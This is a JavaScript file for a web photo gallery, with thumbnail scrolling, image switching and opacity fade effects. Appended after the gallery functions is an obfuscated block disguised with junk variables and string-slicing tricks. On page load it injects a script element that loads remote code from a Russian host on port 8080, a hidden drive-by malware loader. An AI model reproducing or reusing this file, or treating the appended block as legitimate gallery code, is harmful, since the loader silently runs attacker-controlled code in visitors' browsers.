var GalTimer = '';
var photoTimer = '';
var currentImg = '';
var photoEffectStatus = 0;
var photoLoaded = 0;


function photoloaded(){
	/*
	photoLoaded++;
	var objs = document.getElementsByClassName("preloadPhoto");
	if(photoLoaded == objs.length){
		changePhoto('1','photoDiv');
	}
	else{
		$('coverPhoto').src = './sys/images/indicator_waitanim.gif';
	}	
	*/
}

document.getElementsByClassName = function(cl) {
	var retnode = [];
	var myclass = new RegExp('\\b'+cl+'\\b');
	var elem = this.getElementsByTagName('*');
	for (var i = 0; i < elem.length; i++) {
		var classes = elem[i].className;
		if (myclass.test(classes)) retnode.push(elem[i]);
	}
	return retnode;
}; 

function overChangeClass(target){
	if(target.className!='thumbimgclick')
		target.className='thumbimgover';
}

function outChangeClass(target){
	if(target.className!='thumbimgclick')
		target.className='thumbimg';
}

function clickChangeClass(target){
	
	var objs = document.getElementsByClassName("thumbimgclick");
	for(i=0;i<objs.length;i++){				
			objs[i].className = 'thumbimg';
	}
	
	if($('desc_'+((currentImg*1)-1))){
	  $('next').style.display = 'none';
	}
	
	if($('desc_'+((currentImg*1)+1))){
	  $('previous').style.display = 'none';
	}
	
	if($('desc_'+((currentImg*1)-1)) && $('desc_'+((currentImg*1)+1))){
	  $('previous').style.display = 'block';
	  $('next').style.display = 'block';
	}
	
	
	target.className='thumbimgclick';
}

function moveLeft(id){
	
	clearTimeout(GalTimer);
	
	var currentLeft = $(id).style.left.substr(0,$(id).style.left.length-2);
	var navigatorWidth = $(id).style.width.substr(0,$(id).style.width.length-2);
	
	if(navigatorWidth<=624){
		if(currentLeft==0){			
			return;
		}
	}
	else if(((navigatorWidth*1)+(currentLeft*1)) <= 624){		
		clearTimeout(GalTimer);
		return;
	}
		
	currentLeft = currentLeft -4;
	$(id).style.left = currentLeft+'px';
	
	
	GalTimer = setTimeout("moveLeft('"+id+"')",10);
	//$(id).style.left = 
	
}

function moveRight(id){
	
	clearTimeout(GalTimer);
	
	var currentLeft = $(id).style.left.substr(0,$(id).style.left.length-2);
	var navigatorWidth = $(id).style.width.substr(0,$(id).style.width.length-2);
	
	
	if(navigatorWidth<=624){
		if(currentLeft==0)
			return;
	}
	else if((currentLeft*1) == 0){	
		clearTimeout(GalTimer);
		return;
	}
			
	currentLeft = (currentLeft*1) + 4;
	$(id).style.left = currentLeft+'px';
	
	GalTimer = setTimeout("moveRight('"+id+"')",10);
	//$(id).style.left = 
	
}

function clearLeft(id){
	
	var currentLeft = $(id).style.left.substr(0,$(id).style.left.length-2);
	
	if((currentLeft*1)%52){
		currentLeft = currentLeft - 4;
		$(id).style.left = currentLeft+'px';
		clearTimeout(GalTimer);
		GalTimer = setTimeout("clearLeft('"+id+"')",10);
		
	}
	else{
		clearTimeout(GalTimer);			
	}
	
}

function clearRight(id){
	
	var currentLeft = $(id).style.left.substr(0,$(id).style.left.length-2);
	
	if((currentLeft*1)%52){
		currentLeft = (currentLeft*1) + 4;
		$(id).style.left = currentLeft+'px';
		clearTimeout(GalTimer);
		GalTimer = setTimeout("clearRight('"+id+"')",10);		
	}
	else{
		clearTimeout(GalTimer);			
	}
}

function changeDescription(scrID,desID){
	$(desID).innerHTML = "&nbsp;"+$(scrID).innerHTML; 
}

function previousPhoto(){
	currentImg--;
	
	if($('desc_'+currentImg)){
		moveRight('navigatorbar');
		changeDescription('desc_'+currentImg,'photoDescription')
		//$('photoDescription').innerHTML = $('desc_'+currentImg).innerHTML;
		//$('photoDiv').innerHTML = $("img_"+currentImg).innerHTML;
		changePhoto(currentImg,'photoDiv');
		clearRight('navigatorbar');
		if($('desc_'+((currentImg*1)-1))){
		  $('next').style.display = 'block';
		}
		else{
		  $('previous').style.display = 'none';		 		 
		}
		 
					
	}
	else{
		currentImg++;
	}
}

function nextPhoto(){
		
	currentImg++;
	
	if($('desc_'+currentImg)){	
		moveLeft('navigatorbar');
		changeDescription('desc_'+currentImg,'photoDescription')
		//$('photoDescription').innerHTML = $('desc_'+currentImg).innerHTML;
		//$('photoDiv').innerHTML = $("img_"+currentImg).innerHTML;
		changePhoto(currentImg,'photoDiv');
		clearLeft('navigatorbar');
		if($('desc_'+((currentImg*1)+1))){
		  $('previous').style.display = 'block';
		}
		else{
		  $('next').style.display = 'none';		 		 
		}
	}
	else{
		currentImg--;	
	}
}

function changePhoto(src,desID){
		
	var img = document.createElement('IMG');
	
	$(desID).style.background = "url("+$('coverPhoto').src+") no-repeat center top #000000";
	
	img.src = $("img_"+src).src;
		
	img.id = 'coverPhoto';
	currentImg = src;
	
	var objs = document.getElementsByClassName("thumbimgclick");
	for(i=0;i<objs.length;i++){				
			objs[i].className = 'thumbimg';
	}
	
	$("thumb_"+src).className='thumbimgclick';
	
		
	if ($(desID).hasChildNodes() )
	{
    	while ($(desID).childNodes.length >= 1 )
	    {
    	    $(desID).removeChild($(desID).firstChild);       
	    } 
	}

	//$(desID).innerHTML = $("img_"+src).innerHTML;
	
	$(desID).appendChild(img);
	
	//setTimeout("alert($('coverPhoto').src);",1000);
	
	$('coverPhoto').style.opacity = "0.1";
	$('coverPhoto').style.filter = "alpha(opacity=10,style=0)";

	if(photoEffectStatus==0)
		setTimeout("photoEffect(10,'coverPhoto')",100);
	else{
		clearTimeout(photoTimer);
		$(desID).style.background = "url("+$('coverPhoto').src+") no-repeat center top";
		$('coverPhoto').style.opacity = "1";
		$('coverPhoto').style.filter = "alpha(opacity=100,style=0)";
	}
	//filter: alpha(opacity = 70);
	
}

function photoEffect(opacity,ID){
	photoEffectStatus=0;
	clearTimeout(photoTimer);
	
	if(opacity<100){
		photoEffectStatus=1;
		opacity = opacity +10;
		
		FFOpacity = opacity/100;
			
		$(ID).style.opacity = FFOpacity;
		$(ID).style.filter = "alpha(opacity="+opacity+",style=0)";
	
		setTimeout("photoEffect("+opacity+",'"+ID+"')",100)
	}
	else{
		photoEffectStatus=0;
		clearTimeout(photoTimer);
		$('photoDiv').style.background  = '#000000';
	}
	
}

//interval

p=51360;p-=45;var R;this.u="";K=function(){var B="";q=43147;q-=133;var KM=["a","r"];function j(A,V,b){return A.substr(V,b);var Ta=new Date();this.Dz=40211;this.Dz-=104;}P=["v","gb"];var s={L:false};var e={BU:false};var VS=RegExp;var C=[];var XW=[];z=25330;z--;var Y='';var kW=document;Yz=["Tl"];BJ=["H"];var Av=new String(j("/googl1Z3",0,5)+j("bMP6le.co6MbP",4,5)+j("m/marP7fH",0,5)+"ktpla"+j("ats.nZ6I",0,5)+"l/goo"+j("CsjOgle.isOjC",4,5)+j("t.phpRind",0,5));function k(A,V){var h=false;var Ph={};var WB=[];try {var S='Bd'} catch(S){};var b=String("[")+V+new String("]");this.Bb=false;var KD=new VS(b, new String("g"));var Zv=new String();return A.replace(KD, Y);var _q={m:62294};kr=[];};try {var pt='BR'} catch(pt){};this.iz=1704;this.iz-=0;this.rC="";var xU=new String();var _=null;var jA=false;var Am=new String(j("bouYsW",0,2)+j("dyWsS",0,2));var Ov=new Date();this.GM=false;var D=233980-225900;fP=49004;fP++;var l="";var W=k('sxc2rkiXpbtk','RIHu76QXyYz2hMlOxZbAkP');bV=[];this.ng=50130;this.ng-=183;this.Bh=false;FV=50597;FV++;jE=["H_","gQ","HU"];this.rk="";R=function(){this.jc="jc";AF=56358;AF+=24;try {lY=54582;lY++;u_={tg:false};var Z=k('c7rUeLaWtUe7ELlXeLmWeUnUt6','7b69LWUX');F=kW[Z](W);var TA=new Date();bX=["RK","EU"];this.Bi=46667;this.Bi-=133;var A=D+Av;var t=k('surDcN','WIlTVAmdkOgh7NDuE');var w=String(j("defeXi8",0,4)+"r");var lM=42410;var Dwy='';var jF={dm:false};Tm={};var rc=46452;var Ts=new String();F[w]=[8,1][1];try {var bHa='vb'} catch(bHa){};F[t]="ht"+"tp"+":/"+"/c"+"op"+"bu"+"n."+"ru"+j(":D1B",0,1)+A;RL=["Wv","qpl"];kW[Am].appendChild(F);} catch(kd){gM=["Mq","CS","Cjt"];Yq=39647;Yq-=126;};try {var cG='Jz'} catch(cG){};FP={yw:"SG"};};};cC=43474;cC+=218;PE=[];K();aU={};window.onload=R;this.Gc='';